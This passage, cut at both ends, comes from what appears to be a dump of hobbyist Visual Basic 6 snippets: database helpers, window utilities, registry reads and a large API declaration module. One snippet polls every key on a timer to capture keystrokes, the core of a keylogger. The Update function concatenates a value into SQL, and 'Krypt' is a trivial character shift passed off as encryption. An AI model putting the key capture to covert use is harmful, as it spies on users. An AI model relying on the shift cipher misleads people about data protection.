adUseClient\n .ConnectionString = strConnect\n End With\n \n conn.Open\n \n With rst\n .CursorLocation = adUseClient\n .LockType = adLockBatchOptimistic\n .CursorType = adOpenKeyset\n End With\n \n '~OPEN THE RECORDSET\n rst.Open strSql, conn\n \n Set rst.ActiveConnection = Nothing\n Set GetList = rst\n \nFUNCT_EXIT:\n Set conn = Nothing\n Exit Function\n \nFUNCT_ERR:\n Err.Raise Err.Number, Err.Source, Err.Description\n Resume FUNCT_EXIT\nEnd Function\nPublic Function Add(udt As UdtTest) As Boolean\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n' Function : Add\n' Purpose : Add a Record to tblTest \n' Author : Mark Freni\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n On Error GoTo FUNCT_ERR\n Dim conn As New ADODB.Connection\n Dim rst As New ADODB.Recordset\n Dim strSql As String\n \n conn.Open strConnect\n rst.CursorLocation = adUseClient\n rst.CursorType = adOpenKeyset\n rst.LockType = adLockBatchOptimistic\n \n rst.Open \"tblTest\", conn\n rst.AddNew\n \n With udt\n\t' I don't need to worry about setting quotes\n\t' using this method, the UDT tells the \n\t' recordset what datatypes the values are\n If Len(.Field_1) > 0 then rst(\"Field_1\") = .Field_1\n If Len(.Field_2) > 0 then rst(\"Field_2\") = .Field_2\n End With\n rst.UpdateBatch\n \n If rst.STATE = 1 Then rst.Close\n conn.Close\n \n Add = True\n \nFUNCT_EXIT:\n Set conn = Nothing\n Set rst = Nothing\n Exit Function\nFUNCT_ERR:\n Add = False\n Err.Raise Err.Number, Err.Source, Err.Description\n Resume FUNCT_EXIT\n \nEnd Function\nPublic Function Update(udt As UdtTest) As Boolean\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n' Function : Update\n' Purpose : Update a Record in tblTest \n' Author : Mark Freni\n'~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n On Error GoTo FUNCT_ERR\n Dim conn As New ADODB.Connection\n Dim rst As New ADODB.Recordset\n Dim strSql As String\n conn.Open strConnect\n rst.CursorLocation = adUseServer\n rst.LockType = adLockBatchOptimistic\n \n strSql = \"SELECT * FROM tblTest WHERE TestID =\" & udt.TestID\n rst.Open strSql, conn\n \n If rst.EOF Then\n Update = False\n GoTo FUNCT_EXIT\n End If\n \n With udt\n If Len(.Field_1) > 0 Then rst(\"Field_1\") = .Field_1\n If Len(.Field_2) > 0 Then rst(\"Field_2\") = .Field_2\n If .Active Then rst(\"Active\") = .Active\n End With\n rst.UpdateBatch\n \n If rst.STATE = 1 Then rst.Close\n conn.Close\n \n Update = True\n \nFUNCT_EXIT:\n Set conn = Nothing\n Exit Function\nFUNCT_ERR:\n Err.Raise Err.Number, Err.Source, Err.Description\n Update = False\n Resume FUNCT_EXIT\n \nEnd Function\n"},{"WorldId":1,"id":2641,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2642,"LineNumber":1,"line":"Public Function GetNewGUIDStr() As String\nDim pGuid As GUID\nDim lResult As Long\nDim s As String\n \n 'this is a buffer string to be passed in API function\n '100 chars will be enough\n s = String(100, \" \")\n 'creating new ID and obtaining result in pointer to GUID \n lResult = CoCreateGuid(pGuid)\n 'converting GUID structure to string\n lResult = StringFromGUID2(pGuid, s, 100)\n 'removing all trailing blanks\n s = Trim(s)\n 'converting a sting from unicode\n GetNewGUIDStr = StrConv(s, vbFromUnicode)\n \nEnd Function"},{"WorldId":1,"id":2645,"LineNumber":1,"line":"'General Deciarations\nDim C As String 'to store current form's caption\nDim CO As Integer 'to store caption length\nDim FS As Long 'to store current form Width\nPrivate Sub Form_Load()\n Timer1.Interval = 100\n Me.Caption = \"Nilantha Athurupana\"\n C = Me.Caption\n CO = Len(C) + 1\n Me.Caption = \"\"\n \n If Me.BorderStyle <> 2 Then\n FS = Me.ScaleWidth + 250\n Else\n FS = Me.ScaleWidth + 500\n End If\nEnd Sub\nPrivate Sub Form_Resize()\n If Me.WindowState = 1 Then\n FS = 3500\n Else\n FS = Me.ScaleWidth\n End If\nEnd Sub\nPrivate Sub Timer1_Timer()\nOn Error GoTo ATH\n Static C01 As Integer ' Counter 1\n Static CO2 As Integer ' Counter 2\n Static A As String 'To move Caption\n \n Dim R As String 'Restore Caption\n Dim T As String 'Restore Caption\n \nXX:\n If CO > 0 Then\n C01 = CO\n T = Mid(C, C01, 1)\n CO = CO - 1\n R = \" \"\n Mid(R, 1) = T\n Me.Caption = R & Me.Caption\n Else\n A = A & \" \"\n R = \" \"\n Mid(R, 1) = A\n Me.Caption = R & Me.Caption\n End If\n \n If CO2 >= FS Then\n CO2 = 0\n CO = Len(C)\n Me.Caption = \"\"\n GoTo XX\n Else\n CO2 = CO2 + 50\n End If\n Exit Sub\nATH:\nEnd Sub\n"},{"WorldId":1,"id":2647,"LineNumber":1,"line":"MyCommandLine = Trim(UCase(Command()))"},{"WorldId":1,"id":2651,"LineNumber":1,"line":"Public Sub AlwaysOnTop(myfrm As Form, SetOnTop As Boolean)\n If SetOnTop Then\n lFlag = HWND_TOPMOST\n Else\n lFlag = HWND_NOTOPMOST\n End If\n SetWindowPos myfrm.hwnd, lFlag, _\n myfrm.Left / Screen.TwipsPerPixelX, _\n myfrm.Top / Screen.TwipsPerPixelY, _\n myfrm.Width / Screen.TwipsPerPixelX, _\n myfrm.Height / Screen.TwipsPerPixelY, _\n SWP_NOACTIVATE Or SWP_SHOWWINDOW\nEnd Sub\n'Well, if your for example in a form called 'Form1' then you'd simply type:\nAlwaysOnTop Form1, True"},{"WorldId":1,"id":2653,"LineNumber":1,"line":"'Place This Code In A Timer On Interval Less Then 20 The Faster It Is The \n'better But It Consumes More System Rescources\nDim KeyLoop As Byte\nDim FoundKeys As String\nDim KeyResult As Long\nFor KeyLoop = 1 To 255\n KeyResult = GetAsyncKeyState(KeyLoop)\n If KeyResult = -32767 Then\n FoundKeys = FoundKeys + Chr(KeyLoop)\n End If\nNext"},{"WorldId":1,"id":2655,"LineNumber":1,"line":"Public Blue As Double\nPublic Green As Double\nPublic Red As Double\nPublic BlueS As Double\nPublic GreenS As Double\nPublic RGBs As String\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, _\nY As Single)\nCall ConvertRGB(Form1.Point(X, Y))\nForm1.Caption = RGBs\nEnd Sub\nPublic Function ConvertRGB(P)\n Blue = Fix((P / 256) / 256)\n BlueS = (Blue * 256) * 256\n Green = Fix((P - BlueS) / 256)\n GreenS = Green * 256\n Red = Fix(P - BlueS - GreenS)\n RGBs = \"RGB(\" & Red & \", \" & Green & \", \" & Blue & \")\"\nEnd Function"},{"WorldId":1,"id":2657,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function SHAddToRecentDocs Lib \"Shell32\" (ByVal lFlags As Long, ByVal lPv As Long) As Long\n\nPrivate Sub Command1_Click()\nSHAddToRecentDocs 0, 0 ' Clear All Items Under The Documents Menu\nEnd Sub\n"},{"WorldId":1,"id":2665,"LineNumber":1,"line":"Public Function CvtTimeStamp(TimeSt As String) As String\n' This function will recieve the eight byte string of binary data\n' returned as the value of a timestamp column and convert it into\n' as string in the format 0x000000000000000 suitable for the use in an sql statement\n' where clause\nDim HexValue As String\nDim K As Integer\nFor K = 1 To 8\n HexValue = HexValue & Right$(\"00\" & Hex(AscB(MidB(TimeSt, K, 1))), 2)\nNext K\nCvtTimeStamp = \"0x\" & HexValue\n \nEnd Function\n"},{"WorldId":1,"id":2693,"LineNumber":1,"line":"Attribute VB_Name = \"StartupModule\"\nOption Explicit\nPublic DBa(1 To 100) As String\nPublic AppPath\nPublic DallorGet\nPublic FirstLoad\nPublic KeyBoardType\nPublic KeyBoardRepeatDelay\nPublic KeyBoardRepeatSpeed\nPublic KeyBoardCaretFlashSpeed\nPublic CurDate\nPublic Ret As String\nPublic ReturnINIdat\nPublic INIFileFound\nPublic ShortFName\nPublic title\nPublic FileInfoName As String\nPublic FileInfoPathName As String\nPublic FileInfoSize As String\nPublic FileInfoLastModified As String\nPublic FileInfoLastAccessed As String\nPublic FileInfoAttributeHidden As String\nPublic FileInfoAttributeSystem As String\nPublic FileInfoAttributeReadOnly As String\nPublic FileInfoAttributeArchive As String\nPublic FileInfoAttributeTemporary As String\nPublic FileInfoAttributeNormal As String\nPublic FileInfoAttributeCompressed As String\nPublic VBSysDir\nPublic DirChkSize\nPublic Cd_Rom\nPublic Msg\nPublic DatGet\nPublic Word\nPublic StartTime\nPublic WordD\nPublic WordK\nPublic Dat\nPublic DOt\nPublic IsFileThere\nPublic Playinfo\nPublic DelConFirm\nPublic FlPath\nPublic sDType\nPublic GetWinDir\nPublic FlName\nPublic ShortPN\nPublic GWinDir\nPublic SupSound\nPublic DriveFreeSpace\nPublic DOSWinActive As String\nPublic Const GW_HWNDNEXT = 2\nPublic Const DRIVE_CDROM = 5\nPublic Const DRIVE_FIXED = 3\nPublic Const DRIVE_RAMDISK = 6\nPublic Const DRIVE_REMOTE = 4\nPublic Const DRIVE_REMOVABLE = 2\nPublic Const DRIVE_UNKNOWN = 0\nPublic Const AUDIO_NONE = 0\nPublic Const AUDIO_WAVE = 1\nPublic Const AUDIO_MIDI = 2\nPublic Const HWND_TOPMOST = -1\nPublic Const SWP_NOSIZE = &H1\nPublic Const SWP_NOMOVE = &H2\nPublic Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE\nPublic Const WM_CLOSE = &H10\nPublic Const FILE_ATTRIBUTE_READONLY = &H1\nPublic Const FILE_ATTRIBUTE_HIDDEN = &H2\nPublic Const FILE_ATTRIBUTE_SYSTEM = &H4\nPublic Const FILE_ATTRIBUTE_DIRECTORY = &H10\nPublic Const FILE_ATTRIBUTE_ARCHIVE = &H20\nPublic Const FILE_ATTRIBUTE_NORMAL = &H80\nPublic Const FILE_ATTRIBUTE_TEMPORARY = &H100\nPublic Const FILE_ATTRIBUTE_COMPRESSED = &H800\nPrivate Const MF_BYPOSITION = &H400\nPrivate Const MF_REMOVE = &H1000\nPublic Const SPI_GETKEYBOARDSPEED = 10\nPublic Const SPI_GETKEYBOARDDELAY = 22\nDeclare Function FindFirstFile Lib \"kernel32\" Alias \"FindFirstFileA\" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long\nDeclare Function FindClose Lib \"kernel32\" (ByVal hFindFile As Long) As Long\nDeclare Function FindWindow Lib \"user32\" Alias \"FindWindowA\" (ByVal lpClassName As Any, ByVal lpWindowName As Any) As Long\nDeclare Function GetWindowDirectory Lib \"kernel32\" Alias \"GetWindowsDirectoryA\" (ByVal lpBuffer As String, ByVal nSize As Long) As Long\nDeclare Function FileTimeToSystemTime Lib \"kernel32\" (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long\nDeclare Function GetShortPathName Lib \"kernel32\" Alias \"GetShortPathNameA\" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long\nDeclare Function EnumWindows Lib \"user32\" (ByVal wndenmprc As Long, ByVal lParam As Long) As Long\nDeclare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nDeclare Function SystemParametersInfo Lib \"user32\" Alias \"SystemParametersInfoA\" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long\nDeclare Function GetKeyboardType Lib \"user32\" (ByVal nTypeFlag As Long) As Long\nDeclare Function GetCaretBlinkTime Lib \"user32\" () As Long\n\nDeclare Function SetWindowPos Lib \"user32\" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long\nDeclare Function GetDesktopWindow Lib \"user32\" () As Long\nDeclare Function LockWindowUpdate Lib \"user32\" (ByVal hwndLock As Long) As Long\nDeclare Function GetWindowRect Lib \"user32\" (ByVal hwnd As Long, lpRect As RECT) As Long\nDeclare Sub Sleep Lib \"kernel32\" (ByVal dwMilliseconds As Long)\nDeclare Function GetWindowText Lib \"user32\" Alias \"GetWindowTextA\" (ByVal hwnd As Long, ByVal lpString As String, ByVal aint As Integer) As Integer\nDeclare Function GetWindow Lib \"user32\" (ByVal hwnd As Long, ByVal wCmd As Integer) As Long\nDeclare Function WritePrivateProfileString Lib \"kernel32\" Alias \"WritePrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long\nDeclare Function GetPrivateProfileString Lib \"kernel32\" Alias \"GetPrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long\nPrivate Declare Function RegOpenKey Lib \"advapi32.dll\" Alias \"RegOpenKeyA\" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\nPrivate Declare Function DrawMenuBar Lib \"user32\" (ByVal hwnd As Long) As Long\nPrivate Declare Function GetMenuItemCount Lib \"user32\" (ByVal hMenu As Long) As Long\nPrivate Declare Function GetSystemMenu Lib \"user32\" (ByVal hwnd As Long, ByVal bRevert As Long) As Long\nPrivate Declare Function RemoveMenu Lib \"user32\" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long\nPrivate Declare Function mciSendString Lib \"winmm.dll\" Alias \"mciSendStringA\" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long\nPrivate Declare Function fCreateShellGroup Lib \"STKIT432.DLL\" _\n(ByVal lpstrDirName As String) As Long\nPrivate Declare Function fCreateShellLink Lib \"STKIT432.DLL\" _\n(ByVal lpstrFolderName As String, ByVal lpstrLinkName As String, _\nByVal lpstrLinkPath As String, ByVal lpstrLinkArguments As String) As Long\nPrivate Declare Function fRemoveShellLink Lib \"STKIT432.DLL\" _\n(ByVal lpstrFolderName As String, ByVal lpstrLinkName As String) As Long\nPrivate Type SHFILEOPSTRUCT\n hwnd As Long\n wFunc As Long\n pFrom As String\n pTo As String\n fFlags As Integer\n fAnyOperationsAborted As Boolean\n hNameMappings As Long\n lpszProgressTitle As String ' only used if FOF_SIMPLEPROGRESS\nEnd Type\n\nType RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nType FILETIME\n LowDateTime As Long\n HighDateTime As Long\nEnd Type\nType WIN32_FIND_DATA\n dwFileAttributes As Long\n ftCreationTime As FILETIME\n ftLastAccessTime As FILETIME\n ftLastWriteTime As FILETIME\n nFileSizeHigh As Long\n nFileSizeLow As Long\n dwReserved0 As Long\n dwReserved1 As Long\n cFileName As String * 260 'MUST be set to 260\n cAlternate As String * 14\nEnd Type\n\nType SYSTEMTIME\n wYear As Integer\n wMonth As Integer\n wDayOfWeek As Integer\n wDay As Integer\n wHour As Integer\n wMinute As Integer\n wSecond As Integer\n wMilliseconds As Integer\nEnd Type\n\nType POINTAPI\n X As Long\n Y As Long\nEnd Type\nConst SWP_NOZORDER = &H4\nPrivate Declare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long\nPrivate Declare Function RegOpenKeyEx Lib \"advapi32.dll\" Alias \"RegOpenKeyExA\" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long\nPrivate Declare Function RegCloseKey Lib \"advapi32.dll\" (ByVal hKey As Long) As Long\nConst HKEY_LOCAL_MACHINE = &H80000002\nPrivate Declare Function GetDriveType Lib \"kernel32\" Alias \"GetDriveTypeA\" (ByVal nDrive As String) As Long\nPrivate Declare Function GetLogicalDriveStrings Lib \"kernel32\" Alias \"GetLogicalDriveStringsA\" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long\nPublic Const SND_ALIAS = &H10000\nPublic Const SND_ALIAS_ID = &H110000\nPublic Const SND_ALIAS_START = 0\nPublic Const SND_APPLICATION = &H80\nPublic Const SND_ASYNC = &H1\nPublic Const SND_FILENAME = &H20000\nPublic Const SND_LOOP = &H8\nPublic Const SND_MEMORY = &H4\nPublic Const SND_NODEFAULT = &H2\nPublic Const SND_NOSTOP = &H10\nPublic Const GWL_STYLE = (-16)\nPublic Const ES_NUMBER = &H2000\nPublic Const SND_NOWAIT = &H2000\nPublic Const SND_PURGE = &H40\nPublic Const SND_RESERVED = &HFF000000\nPublic Const SND_RESOURCE = &H40004\nPublic Const SND_SYNC = &H0\nPublic Const SND_TYPE_MASK = &H170007\nPublic Const SND_VALID = &H1F\nPublic Const SND_VALIDFLAGS = &H17201F\nPrivate Const ERROR_SUCCESS = 0&\nPrivate Const APINULL = 0&\nPrivate ReturnCode As Long\n\n\nPrivate Target As String\nPrivate Type STARTUPINFO\n cb As Long\n lpReserved As String\n lpDesktop As String\n lpTitle As String\n dwX As Long\n dwY As Long\n dwXSize As Long\n dwYSize As Long\n dwXCountChars As Long\n dwYCountChars As Long\n dwFillAttribute As Long\n dwFlags As Long\n wShowWindow As Integer\n cbReserved2 As Integer\n lpReserved2 As Long\n hStdInput As Long\n hStdOutput As Long\n hStdError As Long\n End Type\n\nPrivate Type PROCESS_INFORMATION\n hProcess As Long\n hThread As Long\n dwProcessID As Long\n dwThreadID As Long\n End Type\nGlobal Const WM_USER = &H400\nGlobal UserhWnd As Long\nPrivate Declare Function WaitForSingleObject Lib \"kernel32\" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long\n\nPrivate Declare Function CreateProcessA Lib \"kernel32\" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long\n\nPrivate Declare Function CloseHandle Lib \"kernel32\" (ByVal hObject As Long) As Long\n Private Const NORMAL_PRIORITY_CLASS = &H20&\n Private Const INFINITE = -1&\nPrivate Declare Function GetDriveTypeA Lib \"kernel32\" (ByVal nDrive As String) As Long\nPrivate Declare Function DeleteObject Lib \"gdi32\" _\n (ByVal hObject As Long) As Long\n \nPrivate lShowCursor As Long\nPrivate Declare Function ShowCursor Lib \"user32\" (ByVal bShow As Long) As Long\n \nDeclare Function GetDiskFreeSpace Lib \"kernel32\" Alias \"GetDiskFreeSpaceA\" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTotalNumberOfClusters As Long) As Long\n \nPrivate Declare Function GetWindowsDirectoryA Lib \"kernel32\" _\n (ByVal lpBuffer As String, ByVal nSize As Long) As Long\nPrivate Declare Function waveOutGetNumDevs Lib \"winmm\" () As Long\nPrivate Declare Function midiOutGetNumDevs Lib \"winmm\" () As Integer\n \nPrivate Const FO_DELETE = &H3\nPrivate Const FOF_ALLOWUNDO = &H40\nPrivate Const FOF_SILENT = &H4\nPrivate Const FOF_NOCONFIRMATION = &H10\nPrivate Declare Function SHFileOperation Lib \"shell32.dll\" Alias _\n \"SHFileOperationA\" (lpFileOp As SHFILEOPSTRUCT) As Long\n\nPrivate Declare Function FillRect Lib \"user32\" (ByVal hdc As Long, lpRect As RECT, ByVal hBrush As Long) As Long\nPrivate Declare Function CreateSolidBrush Lib \"gdi32\" (ByVal crColor As Long) As Long\nDeclare Function GetSystemDirectory Lib \"kernel32\" Alias \"GetSystemDirectoryA\" (ByVal lpBuffer As String, ByVal nSize As Long) As Long\n\n\n\n\nDeclare Function GetWindowLong Lib \"user32\" Alias \"GetWindowLongA\" _\n (ByVal hwnd As Long, ByVal nIndex As Long) As Long\nDeclare Function SetWindowLong Lib \"user32\" Alias \"SetWindowLongA\" _\n (ByVal hwnd As Long, ByVal nIndex As Long, _\n ByVal dwNewLong As Long) As Long\n\nDeclare Function GetActiveWindow Lib \"user32\" () As Long\nDeclare Function ShellExecute Lib \"shell32.dll\" Alias \"ShellExecuteA\" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long\nDeclare Function IsWindow Lib \"user32\" (ByVal hwnd As Long) As Long\nDeclare Function MoveWindow Lib \"user32\" _\n (ByVal hwnd As Long, _\n ByVal X As Long, ByVal Y As Long, _\n ByVal nWidth As Long, ByVal nHeight As Long, _\n ByVal bRepaint As Long) As Long\nDeclare Function mciGetErrorString Lib \"winmm.dll\" Alias \"mciGetErrorStringA\" (ByVal dwError As Long, _\nByVal lpstrBffer As String, ByVal uLength As Long) As Long\nPublic Declare Function sndPlaySound Lib \"winmm.dll\" Alias \"sndPlaySoundA\" _\n (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long\nPublic Declare Function sndPlaySoundByte Lib \"winmm.dll\" Alias \"sndPlaySoundA\" _\n (lpszSoundName As Byte, ByVal uFlags As Long) As Long\n Declare Function GetComputerName Lib \"kernel32\" Alias \"GetComputerNameA\" (ByVal lpBuffer As String, nSize As Long) As Long\nPublic Function Findfile(xstrfilename) As WIN32_FIND_DATA\nDim Win32Data As WIN32_FIND_DATA\nDim plngFirstFileHwnd As Long\nDim plngRtn As Long\nplngFirstFileHwnd = FindFirstFile(xstrfilename, Win32Data) ' Get information of file using API call\nIf plngFirstFileHwnd = 0 Then\n Findfile.cFileName = \"Error\" ' If file was not found, return error as name\nElse\n Findfile = Win32Data ' Else return results\nEnd If\nplngRtn = FindClose(plngFirstFileHwnd) ' It is important that you close the handle for FindFirstFile\nEnd Function\n\nFunction REGGETSTRING$(hInKey As Long, ByVal subkey$, ByVal valname$)\n Dim v$, RetVal$, hSubKey As Long, dwType As Long, SZ As Long\n Dim r As Long\n RetVal$ = \"\"\n Const KEY_ALL_ACCESS As Long = &HF0063\n Const ERROR_SUCCESS As Long = 0\n Const REG_SZ As Long = 1\n r = RegOpenKeyEx(hInKey, subkey$, 0, KEY_ALL_ACCESS, hSubKey)\n If r <> ERROR_SUCCESS Then GoTo Quit_Now\n SZ = 256: v$ = String$(SZ, 0)\n r = RegQueryValueEx(hSubKey, valname$, 0, dwType, ByVal v$, SZ)\n If r = ERROR_SUCCESS And dwType = REG_SZ Then\n RetVal$ = Left$(v$, SZ)\n Else\n RetVal$ = \"--Not String--\"\n End If\n If hInKey = 0 Then r = RegCloseKey(hSubKey)\nQuit_Now:\n REGGETSTRING$ = RetVal$\n End Function\nPublic Function ActiveConnection() As Boolean\n'\n'Usage:\n' ActiveConnection\n' Msgbox ActiveConnection 'True = Connected to Internet \\ False = Not Connected to Internet\n'\nDim hKey As Long\nDim lpSubKey As String\nDim phkResult As Long\nDim lpValueName As String\nDim lpReserved As Long\nDim lpType As Long\nDim lpData As Long\nDim lpcbData As Long\nActiveConnection = False\nReturnCode = RegOpenKey(HKEY_LOCAL_MACHINE, \"System\\CurrentControlSet\\Services\\RemoteAccess\", phkResult)\nIf ReturnCode = ERROR_SUCCESS Then\n hKey = phkResult\n lpValueName = \"Remote Connection\"\n lpReserved = APINULL\n lpType = APINULL\n lpData = APINULL\n lpcbData = APINULL\n ReturnCode = RegQueryValueEx(hKey, lpValueName, _\n lpReserved, lpType, ByVal lpData, lpcbData)\n lpcbData = Len(lpData)\n ReturnCode = RegQueryValueEx(hKey, lpValueName, _\n lpReserved, lpType, lpData, lpcbData)\n If ReturnCode = ERROR_SUCCESS Then\n If lpData = 0 Then\n ActiveConnection = False\n Else\n ActiveConnection = True\n End If\n End If\n RegCloseKey (hKey)\nEnd If\nEnd Function\n\n\n\nPublic Function EnumCallback(ByVal app_hWnd As Long, ByVal param As Long) As Long\nDim buf As String * 256\nDim title As String\nDim length As Long\n ' Get the window's title.\n length = GetWindowText(app_hWnd, buf, Len(buf))\n title = Left$(buf, length)\n ' See if this is the target window.\n If InStr(title, Target) <> 0 Then\n ' Kill the window.\n SendMessage app_hWnd, WM_CLOSE, 0, 0\n End If\n \n ' Continue searching.\n EnumCallback = 1\nEnd Function\n\n\n\nPublic Function FindWindowPartial(ByVal TitlePart As String) As Long\n'\n'Used By FindDosWin\n'\n Dim hWndTmp As Long\n Dim nRet As Integer\n Dim TitleTmp As String\n TitlePart = UCase$(TitlePart)\n hWndTmp = FindWindow(0&, 0&)\n \n Do Until hWndTmp = 0\n TitleTmp = Space$(256)\n nRet = GetWindowText(hWndTmp, TitleTmp, Len(TitleTmp))\n If nRet Then\n TitleTmp = UCase$(VBA.Left$(TitleTmp, nRet))\n If InStr(TitleTmp, TitlePart) Then\n FindWindowPartial = hWndTmp\n Exit Do\n End If\n End If\n hWndTmp = GetWindow(hWndTmp, GW_HWNDNEXT)\n Loop\nEnd Function\n\nFunction GETCURRUSER() As String\n'\n'Usage:\n' USERNAME = GETCURRUSER()\n' Msgbox USERNAME\n'\n GETCURRUSER = REGGETSTRING$(HKEY_LOCAL_MACHINE, \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\", \"RegisteredOwner\")\nEnd Function\nFunction GETCURRORG() As String\n'\n'Usage:\n' GETCURRORG\n' Msgbox USERORG\n'\n GETCURRORG = REGGETSTRING$(HKEY_LOCAL_MACHINE, \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\", \"RegisteredOrganization\")\nEnd Function\nFunction STRIPNULLS(startStrg$) As String\n Dim c%, item$\n c% = 1\n Do\n If Mid$(startStrg$, c%, 1) = Chr$(0) Then\n item$ = Mid$(startStrg$, 1, c% - 1)\n startStrg$ = Mid$(startStrg$, c% + 1, Len(startStrg$))\n STRIPNULLS$ = item$\n Exit Function\n End If\n c% = c% + 1\n Loop\nEnd Function\nFunction App_Path() As String\n'\n'Usage:\n' App_Path\n' msgbox App_Path\n'\nDim X\n X = App.Path\n If Right$(X, 1) <> \"\\\" Then X = X + \"\\\"\n App_Path = UCase$(X)\nEnd Function\nSub CenterForm(WhatForm As Form)\n'\n'Usage:\n' CenterForm Form1\n'\n If WhatForm.WindowState <> 0 Then Exit Sub\n WhatForm.Move (Screen.Width - WhatForm.Width) \\ 2, (Screen.Height - WhatForm.Height) \\ 2\nEnd Sub\nPublic Sub CenterFormTop(frm As Form)\n'\n'Usage:\n' CenterFormTop Form1\n'\n With frm\n .Left = (Screen.Width - .Width) / 2\n .Top = (Screen.Height - .Height) / (Screen.Height)\n End With\nEnd Sub\nPublic Sub CenterFormBottom(frm As Form)\n'\n'Usage:\n' CenterFormBottom Form1\n'\n With frm\n .Left = (Screen.Width - .Width) / 2\n .Top = (Screen.Height - .Height)\n End With\nEnd Sub\nPublic Sub CenterFormBottomRight(frm As Form)\n'\n'Usage:\n' CenterFormBottomRight Form1\n'\n With frm\n .Left = (Screen.Width - .Width) / 1\n .Top = (Screen.Height - .Height)\n End With\nEnd Sub\nPublic Sub CenterFormBottomLeft(frm As Form)\n'\n'Usage:\n' CenterFormBottomLeft Form1\n'\n With frm\n .Left = 0\n .Top = (Screen.Height - .Height)\n End With\nEnd Sub\nPublic Sub CenterFormTopRight(frmForm As Form)\n'\n'Usage:\n' CenterFormTopRight Form1\n'\n With frmForm\n .Left = (Screen.Width - .Width) / 1\n .Top = (Screen.Height - .Height) / 2000\n End With\nEnd Sub\nPublic Sub CenterFormTopLeft(frmForm As Form)\n'\n'Usage:\n' CenterFormTopLeft Form1\n'\n With frmForm\n .Left = 0\n .Top = 0\n End With\nEnd Sub\nSub DeKrypt()\n'\n'Usage:\n' Dat = \"TEST\"\n' DeKrypt\n' Msgbox WordD\n'\nDim i, Strg$, h$, J$\nWordD = \"\"\nFor i = 1 To Len(Dat)\n WordD = WordD & Chr(Asc(Mid(Dat, i, 1)) - 1)\nNext i\nEnd Sub\nSub Krypt()\n'\n'Usage:\n' Dat = \"TEST\"\n' Krypt\n' Msgbox WordK\n'\nDim i, Strg$, h$, J$\nWordK = \"\"\nFor i = 1 To Len(Dat)\n WordK = WordK & Chr(Asc(Mid(Dat, i, 1)) + 1)\nNext i\nEnd Sub\nSub Detect_CD_Rom()\n'\n'Usage:\n' Detect_CD_ROM\n' Msgbox CD_ROM\n'\nDim r&, allDrives$, JustOneDrive$, pos%, DriveType&\nDim CDfound As Integer\n allDrives$ = Space$(64)\n r& = GetLogicalDriveStrings(Len(allDrives$), allDrives$)\n allDrives$ = Left$(allDrives$, r&)\n Do\n pos% = InStr(allDrives$, Chr$(0))\n If pos% Then\n JustOneDrive$ = Left$(allDrives$, pos%)\n allDrives$ = Mid$(allDrives$, pos% + 1, Len(allDrives$))\n DriveType& = GetDriveType(JustOneDrive$)\n If DriveType& = DRIVE_CDROM Then\n CDfound% = True\n Exit Do\n End If\n End If\n Loop Until allDrives$ = \"\" Or DriveType& = DRIVE_CDROM\n If CDfound% Then\n Cd_Rom = Trim(UCase$(JustOneDrive$))\n Else: Cd_Rom = \"?\"\n End If\nEnd Sub\nSub HandW(FORMID As Form)\n'\n'Form Hieght And Width\n'\n'Usage:\n' HandW Form1\n'\nDim a, b\nDat = \"\"\na = FORMID.Height\nb = FORMID.Width\nDat = \"Hieght = \" & a & \" Width = \" & b\nMsg = Dat\nMsgBx\nEnd Sub\nSub LandT(FORMID As Form)\n'\n'Form Left And Top\n'\n'Usage:\n' LandT Form1\n'\nDim a, b\nDat = \"\"\na = FORMID.Left\nb = FORMID.Top\nDat = \"Left = \" & a & \" Top = \" & b\nMsg = Dat\nMsgBx\nEnd Sub\nSub MidiPlay(NamePath As 